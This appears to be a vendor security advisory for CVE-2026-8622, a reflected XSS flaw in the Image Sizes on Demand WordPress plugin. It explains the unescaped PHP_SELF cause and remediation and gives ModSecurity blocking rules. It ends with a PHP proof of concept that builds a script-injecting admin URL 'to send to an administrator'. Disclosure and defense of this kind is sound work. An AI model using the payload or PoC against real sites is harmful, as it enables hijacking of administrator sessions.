Atomic Edge analysis of CVE-2026-8622 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) issue in the Image Sizes on Demand plugin for WordPress, affecting all versions up to and including 1.3. The vulnerability scores 6.1 (Medium) on the CVSS scale and stems from improper sanitization of the PHP_SELF server variable when rendering the plugin’s settings page. The vulnerable plugin is no longer available for download from WordPress.org, so Atomic Edge analysis relies on the CWE classification, CVSS vector, and the vendor-provided description to reconstruct the attack scenario.
The root cause is the plugin’s use of the PHP_SELF server variable without adequate sanitization or output escaping. In WordPress admin pages, PHP_SELF often contains the full script path plus any extra path information appended via the URL. The plugin likely echoes or uses PHP_SELF directly in HTML output (e.g., in a form action attribute or a JavaScript context) without applying WordPress escaping functions like esc_html(), esc_url(), or wp_kses(). This CWE-79 classification indicates the plugin fails to neutralize user-controllable input before including it in a web page. Atomic Edge research infers this behavior from the description, as no source code is available for confirmation.
An unauthenticated attacker can exploit this vulnerability by crafting a URL with a malicious JavaScript payload appended to the path, such as /wp-admin/options-general.php/alert(1). When a user (specifically an administrator, since the vulnerable settings page requires manage_options capability) visits this URL, the plugin uses PHP_SELF to generate page content without proper escaping. The injected script then executes in the context of the administrator’s session. The attack requires social engineering (clicking a link) but no authentication, making it a typical reflected XSS attack vector against privileged users.
To remediate this vulnerability, the plugin developer must replace all direct uses of PHP_SERVER[‘PHP_SELF’] with esc_url() for URL contexts or esc_html() for HTML contexts. Alternatively, the plugin should use admin_url() or self_admin_url() to generate proper admin URLs instead of relying on the raw server variable. Since no patched version exists, site administrators should disable or remove the plugin entirely. A temporary workaround is to use a web application firewall rule that blocks requests containing script tags in the URL path of plugin-related admin pages.
The impact of successful exploitation allows an attacker to exfiltrate administrator session cookies, perform actions on behalf of the admin (such as modifying site options, injecting malicious content, or installing other vulnerable plugins), and potentially escalate to full site compromise. While the injected payload only executes in an admin’s browser, the ability to target administrators makes this a high-severity risk for site security.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx /wp-admin/options-general.php/[^?]*<script[^>]*>"
"id:20268622,phase:1,deny,status:403,msg:'CVE-2026-8622 - Reflected XSS via PHP_SELF in Image Sizes on Demand',severity:'CRITICAL',tag:'CVE-2026-8622',tag:'wordpress',tag:'plugin-image-sizes-on-demand',tag:'xss'"
SecRule REQUEST_URI "@rx <script[^>]*>"
"id:20268623,phase:1,deny,status:403,chain,msg:'CVE-2026-8622 - Reflected XSS via PHP_SELF in WordPress admin',severity:'CRITICAL',tag:'CVE-2026-8622',tag:'wordpress',tag:'xss'"
SecRule REQUEST_FILENAME "@beginsWith /wp-admin/" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8622 - Image Sizes on Demand <= 1.3 - Reflected Cross-Site Scripting via PHP_SELF Server Variable
// This PoC demonstrates how an unauthenticated attacker can craft a URL that triggers
// reflected XSS when visited by an administrator.
// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
// The vulnerability occurs on the plugin's settings page.
// The page is typically found at: /wp-admin/options-general.php?page=image-sizes-on-demand
// We inject the XSS payload into the URL path, which gets reflected in PHP_SELF.
// Craft the malicious URL with the payload appended to the path
$payload = '<script>alert("XSS by Atomic Edge");</script>';
$malicious_url = rtrim($target_url, '/') . '/wp-admin/options-general.php/' . urlencode($payload) . '?page=image-sizes-on-demand';
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
// For demonstration, we simulate the admin visit. In real attack, attacker crafts URL and tricks admin.
// We simply output the URL for manual testing.
echo "[+] Atomic Edge CVE-2026-8622 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL (send this to an administrator):n";
echo $malicious_url . "nn";
// Perform the request (uncomment to test directly)
/*
$response = curl_exec($ch);
if (curl_error($ch)) {
echo '[!] cURL error: ' . curl_error($ch) . "n";
} else {
// Check if payload is reflected (without encoding) indicating vulnerability
if (strpos($response, $payload) !== false) {
echo "[+] Vulnerability confirmed: Payload reflected in response.n";
} else {
echo "[-] Vulnerability not confirmed or payload encoded.n";
}
}
*/
curl_close($ch);
